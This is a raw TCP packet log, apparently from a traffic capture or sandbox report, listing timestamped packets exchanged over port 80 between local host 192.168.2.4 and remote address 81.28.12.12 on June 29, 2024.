Jun 29, 2024 08:05:05.829788923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.829809904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.829838991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.829870939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.829894066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.829921007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.829946041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.829984903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.830038071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.830149889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.830193996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.830220938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.830259085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116065025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116096973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116120100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116130114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116144896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116158962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116170883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116189957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116204023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116211891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116223097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116239071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116250038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116278887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116295099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116309881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116324902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116336107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116347075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116368055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.116383076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116395950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.116426945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.117121935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.117163897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.117178917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.117214918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.117222071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.117242098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.117248058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.117260933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.117271900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.117280960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.117304087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.117908001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.117953062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.117961884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.117974043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.117986917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.118005991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.118021011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.118035078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.118050098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.118061066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.118076086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.118091106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.118818998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.118865013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.118876934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.118890047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.118911028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.118927002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.118933916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.118946075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.118962049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.118972063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.118984938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.119003057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.119329929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.119378090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.119734049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.119771004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.119784117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.119823933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.119875908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.119891882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.119905949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.119931936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.119960070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.120474100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.120517969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.120587111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.120599985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.120621920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.120637894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.120645046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.120657921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.120672941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.120683908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.120692968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.120708942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.120714903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.120887995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.121329069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.121381044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.121525049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.121539116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.121553898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.121567965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.121578932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.121592045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.121608973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.121638060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.122342110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.122395992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.122414112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.122447014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.122461081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.122486115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.122494936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.122515917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.122535944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.122554064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.123075962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.123123884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.123140097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.123158932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.123178005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.123200893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.123219013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.123239040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.123255968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.123280048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.123291016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.123320103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.124032021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.124053001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.124089003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.124102116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.124123096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.124140024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.124160051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.124174118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.124233007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.124712944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.124747038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.124759912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.124780893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.411886930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.411945105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.411976099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.412034035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.412048101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.412079096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.412141085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.412175894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.412199974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.412235975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.412283897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.412317991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.412338972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.412400007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.412414074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.412441969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.412467957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.412511110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.412552118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.412602901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.413151979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.413203955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.413225889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.413268089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.413295031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.413328886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.413348913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.413383007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.413398981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.413583994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.413866997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.413896084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.413918018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.413937092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.413966894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.414026976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.414210081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.414242983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.414264917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.414290905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.414318085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.414366007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.414712906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.414741993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.414767027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.414786100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.414830923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.414864063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.414884090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.414904118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.414933920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.414966106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.414988995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.415014029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.415563107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.415611029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.415637016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.415678978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.415697098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.415738106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.415766001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.415797949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.415821075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.415853977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.415872097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.415916920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.416379929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.416429043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.416452885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.416506052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.416522026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.416544914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.416601896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.416635036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.416655064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.416680098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.416704893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.416745901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.417206049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.417239904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.417259932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.417282104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.417306900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.417340040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.417361975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.417391062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.417411089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.417453051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.417468071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.417495012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.418061018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.418108940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.418134928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.418164015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.418184996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.418204069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.418251991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.418283939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.418296099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.418324947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.418346882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.418395042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.418942928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419001102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.419028997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419059038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419080973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.419102907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.419147968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419182062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419203043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.419230938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.419255018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419301033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.419748068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419796944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.419821978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419850111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419872999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.419913054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.419939995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419972897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.419992924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.420025110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.420043945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.420084000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.420618057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.420650959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.420671940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.420692921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.705871105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.705905914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.705923080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.705938101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.705955982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.705969095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.705984116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706001043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706010103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706020117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706033945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706043959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706056118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706079006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706089973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706098080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706121922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706130981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706145048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706155062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706167936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706176996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706197023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706831932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706861019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706896067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706907988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706919909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706938982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.706950903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706964970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.706984997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.707000017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.707006931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.707017899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.707040071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.707051992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.707972050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.707988024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708002090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708014011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.708029985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.708097935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708141088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.708168030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708182096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708206892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.708221912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.708551884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708576918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708590031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708616018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.708631039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.708650112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708663940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708686113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.708709002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.708719969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708733082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:06.708755016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.708767891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:06.709445953 CEST	80	49731	81.28.12.12	192.168.2.4
